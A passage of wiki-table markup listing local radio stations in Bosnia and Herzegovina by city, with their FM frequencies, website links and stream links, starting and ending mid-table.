sajt]</center> |<center>[http://uzivo.rtrs.tv/arhiva/emitovanje/radio.php slušaj] {{Webarchive|url=https://web.archive.org/web/20100127125037/http://uzivo.rtrs.tv/arhiva/emitovanje/radio.php |date=2010-01-27 }}</center> |} == Lokalne stanice == {| class="wikitable sortable mw-collapsible" !Mesto !Ime !Frekvencija ([[MHz]]) !Internet !Slušanje |- |-valign="top" |rowspan="10"|[[Banja Luka]] |BIG Radio 1 |<center>93,6</center> |<center>[http://www.bigradiobl.com/ sajt]</center> |<center>[http://india249.server4you.de:7400/listen.pls slušaj]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |BIG Radio 2 |<center>91,5<br />93,6<br />97,5</center> |<center>[http://www.bigradiobl.com/ sajt]</center> |<center>[http://hotel331.server4you.de:9100/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20100204073126/http://hotel331.server4you.de:9100/listen.pls |date=2010-02-04 }}</center> |- |BIG Radio 3 |<center>96,5</center> |<center>[http://www.bigradiobl.com/ sajt]</center> |<center>[http://india348.server4you.de:7500/listen.pls slušaj]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Hard Rock Radio |<center>102,7</center> |<center>[http://www.hardrockradiocafe.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20090620084515/http://www.hardrockradiocafe.com/ |date=2009-06-20 }}</center> |<center></center> |- |[[Nes radio Banja Luka|Nes Radio]] |<center>87,7<br />88,4<br />89,7<br />95,5<br />99,3<br />106,4</center> |<center>[http://www.nesradio.com/ sajt]</center> |<center></center> |- |Gradski FM |<center>95,9</center> |<center>[http://www.gradski.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20180805135512/http://gradski.com/ |date=2018-08-05 }}</center> |<center></center> |- |Radio Agape |<center>94,4</center> |<center></center> |<center>[http://ba.radiostanica.com/player.php?id=527 slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Kontakt radio |<center>99,3</center> |<center>[http://mojkontakt.com sajt] {{Webarchive|url=https://web.archive.org/web/20181218005152/http://mojkontakt.com/ |date=2018-12-18 }}</center> |<center>[http://kontaktradio.com slušaj]</center> |- |[[Radio Uno Banja Luka|Radio Uno]] |<center>107,5</center> |<center>[http://www.unoradiobl.com/ sajt]</center> |<center>[http://titan.blic.net:8002/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110723025406/http://titan.blic.net:8002/listen.pls |date=2011-07-23 }}</center> |- |Vikom Radio |<center>89,6<br />91,1<br />105,3<br /></center> |<center>[http://www.vikom.tv/ sajt]</center> |<center>[http://www.vikom.tv/audio/listen.m3u slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |-valign="top" |rowspan="3"|[[Bihać]] |Novi Radio Bihać |<center>101,6<br />105,8</center> |<center>[http://www.noviradiobihac.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20190123010252/http://www.noviradiobihac.com/ |date=2019-01-23 }}</center> |<center>[http://media.bih.net.ba/noviradiobihac/noviradiobihac.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723143905/http://media.bih.net.ba/noviradiobihac/noviradiobihac.asx |date=2011-07-23 }}</center> |- |Radio Bihać |<center>92,3<br />94,7</center> |<center>[http://www.rtvbihac.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20120614063955/http://rtvbihac.ba/ |date=2012-06-14 }}</center> |<center>[http://media.bih.net.ba/radiobihac/radiobihac.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723143909/http://media.bih.net.ba/radiobihac/radiobihac.asx |date=2011-07-23 }}</center> |- |Radio Unsko-sanskog kantona |<center>89,9<br />90,9<br />96,2<br />99,5<br />105,1</center> |<center>[http://www.rtvusk.ba/ sajt]</center> |<center>[http://www.rtvusk.ba/web/modules/mod_ngs_shoutcast/singleplaylist.php?ip=195.222.33.217&port=8002&format=PLS slušaj] {{Webarchive|url=https://web.archive.org/web/20100819000617/http://www.rtvusk.ba/web/modules/mod_ngs_shoutcast/singleplaylist.php?ip=195.222.33.217&port=8002&format=PLS |date=2010-08-19 }}</center> |- |-valign="top" | rowspan="6" |[[Bijeljina]] |Bobar Radio |<center>88,9<br />92,2<br />95,3<br />100,9<br />101,3<br />102,8<br />104,7<br />105,5<br />105,9</center> |<center>[http://www.radiobobar.com/ sajt]</center> | |- |Bobar Radio B2 |<center>107,7</center> |<center>[http://www.radiobobar.com/ sajt]</center> | |- |Daš Extra |<center>88,9</center> |<center>[http://www.dasextra.com/ sajt]</center> |<center>[http://79.143.173.18:5000/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |SIM RADIO |<center>103,0</center> |<center>[https://simradio.net/ sajt]</center> |<center>[http://tv.stream-music.net:8602/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20091001074419/http://tv.stream-music.net:8602/listen.pls |date=2009-10-01 }}</center> |- |Radio DAŠ |<center>103,5<br />105,5</center> |<center>[http://www.radiodas.com/ sajt]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |<center>[http://static.135.87.46.78.clients.your-server.de:5050/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio Slobomir |<center>88,4<br />89,8<br />96,3<br />98,3<br />101,8<br />102,6</center> |<center>[http://rtvslobomir.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20140805031046/http://rtvslobomir.com/ |date=2014-08-05 }}</center> |<center>[http://176.9.110.46:9911/ slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Bijela]] |Obiteljski Radio Valentino |<center>88,0<br />92,4<br />93,2<br />93,7<br />94,3<br />95,2<br />95,6<br />97,8<br />97,9<br />98,4<br />99,7<br />102,9<br />104,1<br />105,3<br />105,5<br />106,7<br />107,2</center> |<center>[http://www.valentinobh.com/ sajt]</center> | |- |Bileća |Radio Padrino |89,1 | [https://www.radiopadrino.com sajt] |[https://www.radiopadrino.com sajt] |- |[[Bileća]] |Radio Bileća |<center>92,2</center> |<center></center> |<center></center> |- |[[Bosanska Krupa]] |Radio Bosanska Krupa |<center>97,5</center> |<center>[http://www.radiobk.ba/ sajt]</center> |<center>[mms://media.bih.net.ba/radiobosanskakrupa slušaj] {{Webarchive|url=https://web.archive.org/web/20140625184506/http://media.bih.net.ba/radiobosanskakrupa |date=2014-06-25 }}</center> |- |[[Bratunac]] |UPSMedia Radio |<center>103,5</center> |<center>[https://www.upsmedia.ba sajt]</center> |<center>[http://s40.myradiostream.com:18874 slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- | rowspan="2" |[[Brčko]] |Radio Brčko |<center>92,8<br />94,8<br />105,0</center> |<center>[http://www.radio-brcko.co.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100305122037/http://www.radio-brcko.co.ba/ |date=2010-03-05 }}</center> |<center>[http://91.191.0.45:8000/listen.pls slušaj]</center> |- |Hit Radio |<center>89,6<br />101,1</center> |<center>[http://www.rtvhit.com/ sajt]</center> |<center>[http://ns1.scwlan.net:8534/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110724055741/http://ns1.scwlan.net:8534/listen.pls |date=2011-07-24 }}</center> |- |[[Breza]] |Radio Breza |<center>100,1</center> |<center>[http://www.radiobreza.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20100203022434/http://www.radiobreza.com/ |date=2010-02-03 }}</center> |<center></center> |- |[[Bugojno]] |Radio Bugojno |<center>101,0</center> |<center></center> |<center></center> |- |[[Busovača]] |Radio Busovača |<center>101,9</center> |<center>[http://www.radio-busovaca.com/ sajt]</center> |<center>[http://178.209.2.100:7010/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110827004450/http://178.209.2.100:7010/listen.pls |date=2011-08-27 }}</center> |- |[[Cazin]] |Radio Cazin |<center>89,9<br />98,8</center> |<center>[http://www.rtvcazin.ba/ sajt]</center> |<center>[mms://media.bih.net.ba//rtvcazin slušaj] {{Webarchive|url=https://web.archive.org/web/20200423203250/http://media.bih.net.ba/rtvcazin |date=2020-04-23 }}</center> |- |[[Čapljina]] |Radio Postaja Čapljina |<center>91,3</center> |<center>[http://www.radio-capljina.com/ sajt]</center> |<center> |- |-valign="top" |rowspan="2"|[[Doboj]] |Radio Doboj |<center>96,3</center> |<center>[http://www.radio.doboj.net/ sajt] {{Webarchive|url=https://web.archive.org/web/20100217025938/http://www.radio.doboj.net/ |date=2010-02-17 }}</center> |<center></center> |- |Radio Džungla |<center>101,1<br />106,0</center> |<center>[http://www.dzungla.net/ sajt]</center> |<center>[http://mobile.ba:16000] {{Webarchive|url=https://web.archive.org/web/20160304124507/http://mobile.ba:16000/ |date=2016-03-04 }}</center> |- |[[Doboj Jug]] |Radio Zos |<center>107,0</center> |<center></center> |<center></center> |- |[[Donji Vakuf]] |Radio Donji Vakuf |<center>88,0</center> |<center>[http://www.radiodonjivakuf.com.ba/ sajt]</center> |<center>[http://69.4.225.73:8110/;listen.pls slušaj]{{Dead link|date=October 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Drvar]] |Radio Drvar |<center>89,5<br />92,8<br />100,0</center> |<center></center> |<center></center> |- |[[Dubica]] |Dub Radio |<center>96,7</center> |<center>[http://www.dub-radio.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20140517034803/http://dub-radio.com/ |date=2014-05-17 }}</center> | |- |[[Foča]] |Radio Foča |<center>96,4</center> |<center></center> |<center></center> |- |Gacko |Radio Padrino |106,5 | [https://www.radiopadrino.com sajt] |[https://www.radiopadrino.com sajt] |- |[[Gacko]] |Radio Gacko |<center>90,0</center> |<center></center> |<center></center> |- |[[Goražde]] |Radio Goražde |<center>91,1<br />101,5</center> |<center>[http://www.rtvbpk.com/ sajt]</center> |<center>[http://s1.myradiostream.com:11874/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110826125016/http://s1.myradiostream.com:11874/listen.pls |date=2011-08-26 }}</center> |- |rowspan="2"|[[Gradačac]] |Radio Gradačac |<center>98,3</center> |<center></center> |<center></center> |- |Bet Fratelo Radio Gradačac |<center>99,9</center> |<center>[http://www.radiobet.eu// sajt] {{Webarchive|url=https://web.archive.org/web/20130724120541/http://www.radiobet.eu/ |date=2013-07-24 }}</center> |<center>[http://www.uzivoradio.com/bet-fratello-gradacac.html slušaj]</center> |- |[[Gračanica (BiH)|Gračanica]] |Radio Gračanica |<center>87,6<br />95,0</center> |<center>[http://www.bkc-gracanica.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20130521085241/http://www.bkc-gracanica.ba/ |date=2013-05-21 }}</center> |<center></center> |- |[[Grude]] |Radio Grude |<center>90,9<br />95,5</center> |<center>[http://www.radiogrude.net/ sajt]</center> |<center>[http://pa-hosting.de:8012/listen.pls slušaj]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Ilijaš]] |Radio Ilijaš |<center>89,7<br />99.0<br />100,9<br />102,3</center> |<center>[http://www.radioilijas.ba/ sajt]</center> |<center>[http://u011.umbra.fastwebserver.de:42000/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110719002940/http://u011.umbra.fastwebserver.de:42000/listen.pls |date=2011-07-19 }}</center> |- |[[Jablanica]] |Radio Jablanica |<center>94,7</center> |<center></center> |<center></center> |- |[[Jajce]] |Radio Jajce |<center>92,0<br />99,2</center> |<center>[http://www.radiojajce.ba/ sajt]</center> |<center>[http://s1.iqstreaming.com/tunein.php/rtvjajce/playlist.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110826125501/http://s1.iqstreaming.com/tunein.php/rtvjajce/playlist.pls |date=2011-08-26 }}</center> |- |[[Janja]] |Radio Janja |<center>104,2</center> |<center>[http://www.radio-janja.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20130831201823/http://www.radio-janja.com/ |date=2013-08-31 }}</center> |<center>[http://static.135.87.46.78.clients.your-server.de:4040/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Jelah]] |Antena Radio |<center>88,7</center> |<center>[http://www.antena-radio.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20130813210256/http://www.antena-radio.ba/ |date=2013-08-13 }}</center> |<center>[http://pa-hosting.de:23601/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20100428083747/http://pa-hosting.de:23601/listen.pls |date=2010-04-28 }}</center> |- |[[Kakanj]] |Radio Kakanj |<center>87,9</center> |<center>[http://www.radiokakanj.co.ba/ sajt]</center> |<center>[http://budo4.adriahost.com:8086/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Kalesija]] |Radio Feral |<center>100,4</center> |<center>[http://www.radio-feral.ba/ sajt]</center> |<center>[http://yp.shoutcast.com/sbin/tunein-station.pls?id=859505 slušaj]</center> |- |[[Kiseljak]] |Radio Postaja Kiseljak |<center>92,7<br />93,8<br />101,3<br />103,4</center> |<center>[http://www.tvkiss.net/ sajt] {{Webarchive|url=https://web.archive.org/web/20171009205339/http://www.tvkiss.net/ |date=2017-10-09 }}</center> | |- |[[Kladanj]] |Radio Kladanj |<center>98,6</center> |<center></center> |<center></center> |- |[[Ključ]] |Radio Ključ |<center>94,3</center> |<center>[http://www.kljuc.ba/radio.html sajt] {{Webarchive|url=https://web.archive.org/web/20100628170540/http://www.kljuc.ba/radio.html |date=2010-06-28 }}</center> |<center>[http://media.bih.net.ba/radiokljuc/radiokljuc.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723144046/http://media.bih.net.ba/radiokljuc/radiokljuc.asx |date=2011-07-23 }}</center> |- |[[Konjic]] |Radio Konjic |<center>92,0<br />92,3<br />95,0</center> |<center></center> |<center></center> |- |[[Kozarska Dubica]] |Radio Feniks |<center>94,7</center> |<center>[http://www.radiofeniks.com/ sajt]</center> |<center>[http://feniks.topstream.net:19304/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20100312221951/http://feniks.topstream.net:19304/listen.pls |date=2010-03-12 }}</center> |- |[[Kupres]] |Radio Kupres |<center>89,7<br />90,5<br />107,3</center> |<center>[http://www.kupreskiradio.com/ sajt]</center> |<center>[http://web.archive.org/web/20100327012205/http://www.kupreskiradio.com/listen.pls slušaj]</center> |- |[[Laktaši]] |Radio Laktaši |<center>90,3</center> |<center></center> |<center></center> |- |-valign="top" |rowspan="2"|[[Livno]] |Radio Livno |<center>91,5<br />100,4<br />100,9</center> |<center>[http://www.radiolivno.info/ sajt]</center> |<center>[http://web.archive.org/web/20100827211235/http://radiolivno.info/listen.pls slušaj]</center> |- |Radio Mango |<center>93,3<br />97,6</center> |<center>[http://www.radiomango.eu sajt]</center> |<center>slušaj</center>www.radiomango.eu/player/ |- |[[Ljubuški]] |Radio Ljubuški |<center>99,4</center> |<center>[http://www.radioljubuski.ba/ sajt]</center> |<center></center> |- |[[Lukavac]] |Radio Lukavac |<center>96,7</center> |<center>[http://www.rtvlukavac.ba/ sajt]</center> |<center>[http://www.rtvlukavac.ba/index.php?option=com_banners&task=click&bid=1 slušaj]</center> |- |[[Maglaj]] |Radio Maglaj |<center>94,0</center> |<center></center> |<center></center> |- |[[Međugorje]] |Radio Mir Međugorje |<center>87,8<br />96,1<br />98,3<br />100,0<br />100,1<br />101,5<br />101,8<br />104,7<br />106,7<br />107,8</center> |<center>[http://radio-medjugorje.com/ sajt]</center> | |- |-valign="top" |rowspan="2"|[[Milići]] |Radio Birač |<center>87,7<br />90,8<br />93,2</center> |<center></center> |<center></center> |- |Radio Magic |<center>102,8<br />103,7</center> |<center>[http://www.facebook.com/pages/Milici-Bosnia-and-Herzegovina/Radio-Magic-Milici/35364312057?v=feed&story_fbid=163900912421&ref=mf sajt]</center> |<center>[http://yp.shoutcast.com/sbin/tunein-station.pls?id=689617 slušaj]</center> |- |-valign="top" |rowspan="2"|[[Mostar]] |Radio Oscar C |<center>88,5<br />91,2<br />93,4<br />103,4</center> |<center>[http://www.radioaktivan.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20190430144225/http://www.radioaktivan.ba/ |date=2019-04-30 }}</center> |<center></center> |- |Radio Dobre Vibracije |<center>96,2<br />106,3<br />106,8</center> |<center>[http://www.rdv.ba/ sajt]</center> |<center>[http://sc7.spacialnet.com:20548/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110427021657/http://sc7.spacialnet.com:20548/listen.pls |date=2011-04-27 }}</center> |- |Radio Gradska Mreža | |<center>88,6</center> |<center>[http://www.radiox.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20080803034944/http://www.radiox.ba/ |date=2008-08-03 }}</center> |- | |Običan Radio |<center>105,3<br />106,5</center> |<center>[http://www.obican.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20140901081139/http://www.obican.ba/ |date=2014-09-01 }}</center> |- | |Radio Herceg Bosne |<center>91,4<br />95,4<br />98,1<br />101,1<br />103,5<br />103,6<br />103,9<br />106,0<br />107,3<br />107,5</center> |<center>[http://www.rtv-hb.com/ sajt]</center> |- | |Radio Mostarska Panorama |<center>88,1</center> |<center>[http://www.glasmostara.ba/ sajt]</center> |- |[[Mrkonjić Grad]] |Šik Radio |<center>93,5</center> |<center></center> |<center></center> |- |[[Nevesinje]] |Radio Nevesinje |<center>96,3</center> |<center>[http://radionevesinje.com/ sajt]</center> |<center></center> |- |[[Novi Grad, Bosanska Krajina|Novi Grad]] |Radio Novi Grad |<center>93,3</center> |<center>[http://www.radionovigrad.com/ sajt]</center> |<center>[http://www.radionovigrad.com/radio.m3u slušaj] {{Webarchive|url=https://web.archive.org/web/20160129175801/http://www.radionovigrad.com/radio.m3u |date=2016-01-29 }}</center> |- |[[Novi Travnik]] |Radio Postaja Novi Travnik |<center>98,3</center> |<center>[http://www.radio-nt.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20070121031028/http://www.radio-nt.com/ |date=2007-01-21 }}</center> |<center>[http://radio-nt.com:7020/ slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Odžak]] |Radio Postaja Odžak |<center>92,5</center> |<center>[http://www.radio.odzak.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100304123010/http://www.radio.odzak.ba/ |date=2010-03-04 }}</center> |<center>[http://p-mahala.com:55555/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20090401194135/http://p-mahala.com:55555/listen.pls |date=2009-04-01 }}</center> |- | |Radio Preporod |<center>95,2</center> |<center>[http://www.radiopreporod.com/ sajt]</center> |<center>[http://station.voscast.com/4f96e9f672a04/ slušaj]</center> |- |[[Orašje]] |Radio Postaja Orašje |<center>88,0</center> |<center>[http://www.rpo88.com/ slušaj]</center> |<center>[http://www.rpo88.com/./modules/mod_ngs_shoutcast/singleplaylist.php?ip=212.39.119.230&port=8000&format=PLS slušaj] {{Webarchive|url=https://web.archive.org/web/20111009151318/http://www.rpo88.com/modules/mod_ngs_shoutcast/singleplaylist.php?ip=212.39.119.230&port=8000&format=PLS |date=2011-10-09 }}</center> |- |[[Pale]] |Radio OSM |<center>93,6<br />95,5<br />103,5</center> |<center>[http://www.radio-osm.com/ sajt]</center> |<center>[http://u011.umbra.fastwebserver.de:8000/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110719002940/http://u011.umbra.fastwebserver.de:8000/listen.pls |date=2011-07-19 }}</center> |- |[[Posušje]] |Radio Plus |<center>90,3</center> |<center>[http://www.plus-radio.info/ sajt] {{Webarchive|url=https://web.archive.org/web/20140717020520/http://www.plus-radio.info/ |date=2014-07-17 }}</center> |<center></center> |- | |Radio Posušje |<center>102,9</center> |<center>[http://www.radioposusje.ba/ sajt]</center> |- |[[Prača]] |Radio Prača |<center>93,1<br />102,6</center> |<center></center> |<center>[http://media.bih.net.ba/radiopraca/radiopraca.asx sajt] {{Webarchive|url=https://web.archive.org/web/20110723144111/http://media.bih.net.ba/radiopraca/radiopraca.asx |date=2011-07-23 }}</center> |- |[[Prijedor]] |Esprit radio |<center>94,1</center> |<center>[http://www.espritradio.rs.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100303052647/http://www.espritradio.rs.ba/ |date=2010-03-03 }}</center> |<center></center> |- | |Free Radio |<center>105,7</center> |<center>[http://www.freeradio.rs.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100323083921/http://www.freeradio.rs.ba/ |date=2010-03-23 }}</center> |<center>[http://streaming.voxcom.hr:59000/stream.aac.m3u slušaj] {{Webarchive|url=https://web.archive.org/web/20110721102824/http://streaming.voxcom.hr:59000/stream.aac.m3u |date=2011-07-21 }}</center> |- | |Radio Prijedor |<center>96,2<br />97,9<br />104,1</center> |<center>[http://radio.prijedor.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20100704123123/http://radio.prijedor.com/ |date=2010-07-04 }}</center> |- |[[Prnjavor]] |Radio Ljubić |<center>88,9</center> |<center>[http://www.radioljubic.com/ sajt]</center> |<center>[http://alster225.server4you.de:23603/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110719083213/http://alster225.server4you.de:23603/listen.pls |date=2011-07-19 }}</center> |- | |Radio Prnjavor |<center>98,3<br />99,1<br />102,3</center> |<center></center> |- |[[Prozor-Rama]] |Radio Rama |<center>88,8</center> |<center>[http://www.radio-rama.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20111229034733/http://www.radio-rama.com/ |date=2011-12-29 }}</center> |<center></center> |- |[[Sanski Most]] |Radio Sana |<center>103,7</center> |<center>[http://www.radiosana.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20090228190714/http://www.radiosana.ba/ |date=2009-02-28 }}</center> |<center>[http://media.bih.net.ba/radiosana/radiosana.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723144252/http://media.bih.net.ba/radiosana/radiosana.asx |date=2011-07-23 }}</center> |- |[[Sapna]] |Radio Glas Drine |<center>88,8<br />99,6<br />103,8<br />104,2<br />106,4 </center> |<center>[http://www.radioglasdrine.com/ sajt]</center> |<center>[http://india348.server4you.de:7100/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |-valign="top" | rowspan="11" |[[Sarajevo]] |Radio Antena Sarajevo |<center>90,9</center> |<center>[http://www.antena.ba/ sajt]</center> | |- |Kalman Radio |<center>90,0<br />91,2<br />91,5<br />107,8 </center> |<center>[http://www.kalmanradio.ba/ sajt]</center> |<center>[http://yp.shoutcast.com/sbin/tunein-station.pls?id=266061 slušaj]</center> |- |Radio 202 |<center>93,1</center> |<center>[http://www.radio202.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20070929093103/http://www.radio202.ba/page.asp?id=press |date=2007-09-29 }}</center> |<center>[http://radiotime.com/WebTuner.aspx?IgnoreStreams=1&StationId=71788& slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio 8 |<center>106,8</center> |<center>[http://www.radio8.ba/ sajt]</center> |<center>[http://media.bih.net.ba/Radio8/Radio8.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110723144502/http://media.bih.net.ba/Radio8/Radio8.asx |date=2011-07-23 }}</center> |- |Radio ASK Ilidža |<center>89,9</center> |<center>[http://www.radioask.co.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20091210164049/http://www.radioask.co.ba/ |date=2009-12-10 }}</center> |<center></center> |- |Radio BA |<center>104,9</center> |<center>[http://www.radioba.ba/ sajt]</center> |<center>[http://my.abanet.us:10000/radioBa.m3u slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio BIR |<center>87,7<br />88,7<br />90,7<br />95,4<br />95,9<br />96,5<br />98,1<br />101,7</center> |<center>[http://www.bir.ba/ sajt]</center> |<center>[http://ba.radiostanica.com/player.php?id=1041 slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio M |<center>89,8<br />98,7<br />104,2<br />106,3</center> |<center>[http://www.radiom.net/ sajt]</center> |<center>[http://www.azstreaming.com/play/radio-stream-radio-m-98-7.asx slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio Sarajevo |<center>90,2</center> |<center>[http://www.radiosarajevo.ba/ sajt]</center> |<center>[http://www.radiosarajevo.ba/media/Radio_Sarajevo_Uzivo.swf slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio Stari Grad |<center>87,7<br />88,4<br />92,6<br />97,5<br />104.3</center> |<center>[http://www.rsg.ba/ sajt]</center> |<center>[http://rsg.tranzistor.ba/live.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110706131530/http://rsg.tranzistor.ba/live.asx |date=2011-07-06 }}</center> |- |Radio Studio 99 |<center>99,8<br />99,0</center> |<center>[http://www.ntv99.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20090216191512/http://ntv99.ba/ |date=2009-02-16 }}</center> |<center></center> |- | |Radio Miljacka |<center>95,2</center> |<center>[http://www.efm.ba/ sajt]</center> |<center>[http://efm.tranzistor.ba/live.asx slušaj] {{Webarchive|url=https://web.archive.org/web/20110706131530/http://efm.tranzistor.ba/live.asx |date=2011-07-06 }}</center> |- | |Radio Mix |<center>88,3 89,1 <br />90,5<br />95,4<br />105,3<br />107,1</center> |<center>[http://www.radio.radiomix.ba/ sajt]</center> |- |[[Srbac]] |Radio Srbac |<center>93,2</center> |<center>[http://www.radiosrbac.com/ sajt]</center> |<center>[http://s2.iqstreaming.com/cast/tunein.php/radiosrbac/playlist.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20111129165920/http://s2.iqstreaming.com/cast/tunein.php/radiosrbac/playlist.pls |date=2011-11-29 }}</center> |- |- |[[Srebrenica]] |UPSMedia Radio |<center>103,5</center> |<center>[https://www.upsmedia.ba sajt]</center> |<center>[http://s40.myradiostream.com:18874 slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |-valign="top" |rowspan="2"|[[Srebrenik]] |Radio Srebrenik |<center>90,8<br />103,0</center> |<center>[http://www.radiosrebrenik.ba/ sajt]</center> |<center>[http://radiosrebrenik.ba:7600/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20100228145903/http://www.radiosrebrenik.ba:7600/listen.pls |date=2010-02-28 }}</center> |- |Radio Studio D |<center>97,4<br />99,4</center> |<center>[http://www.studiod.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100127104313/http://www.studiod.ba/ |date=2010-01-27 }}</center> |<center>[http://hotel331.server4you.de:8018/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Šipovo]] |Radio Best |<center>93,9</center> |<center>[http://www.thebest.spinter.net/ sajt] {{Webarchive|url=https://web.archive.org/web/20110724080703/http://www.thebest.spinter.net/ |date=2011-07-24 }}</center> |<center></center> |- |[[Široki Brijeg]] |[[Radio Široki Brijeg]] |<center>92,7<br />93,1<br />102,3</center> |<center>[http://www.radiosirokibrijeg.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20090904173024/http://www.radiosirokibrijeg.com/ |date=2009-09-04 }}</center> |<center>[https://web.archive.org/web/20070612161716/http://siroki.wic.ba/siroki.m3u slušaj]</center> |- |[[Teslić]] |Radio Studio M |<center>93,0<br />100,7</center> |<center>[http://www.studiomteslic.net/ sajt]</center> |<center>[http://u011.umbra.fastwebserver.de:32000/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110719003009/http://u011.umbra.fastwebserver.de:32000/listen.pls |date=2011-07-19 }}</center> |- |[[Tešanj]] |Radio Tešanj |<center>92,2</center> |<center>[http://www.radiotesanj.ba/ sajt]</center> |<center>[http://radio.daj.ba:8080/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110113211736/http://radio.daj.ba:8080/listen.pls |date=2011-01-13 }}</center> |- |[[Tomislavgrad]] |Radio Tomislavgrad |<center>95,1<br />95,9<br />98,3<br />103,3<br />105,8</center> |<center>[http://www.radiotomislavgrad.com/ sajt] {{Webarchive|url=https://web.archive.org/web/20110715145319/http://www.radiotomislavgrad.com/ |date=2011-07-15 }}</center> |<center>[http://aries.valkira.hr:7004/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |[[Travnik]] |TNT Radio |<center>92,8<br />93,4<br />95,1</center> |<center>[http://www.tnt.ba/ sajt]</center> |<center></center> |- |- |- valign="top" |[[Trebinje]] |Korona Radio |<center>97,7</center> |<center>[https://koronaonline.com/ sajt]</center> |<center></center> |- | |Radio Padrino |<center>90,8 89,1 </center> |<center>[https://www.radiopadrino.com/ sajt]</center> |<center>[https://www.radiopadrino.com sajt]</center> |- | |Korona Radio 2 |<center>97,1<br />101,9</center> |<center>[https://koronaonline.com/ sajt]</center> |<center></center> |- | |Radio Trebinje |<center>95,9</center> |<center>[https://www.radiopadrino.com sajt]</center> |<center></center><center></center> |- |-valign="top" | rowspan="7" |[[Tuzla]] |Radio Kameleon |<center>95,6<br />95,9<br />98,3<br />91,5<br />102,7</center> |<center>[http://www.kameleon.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100310014837/http://www.kameleon.ba/ |date=2010-03-10 }}</center> |<center>[http://www.azstreaming.com/play/radio-stream-radio-kameleon.asx slušaj] 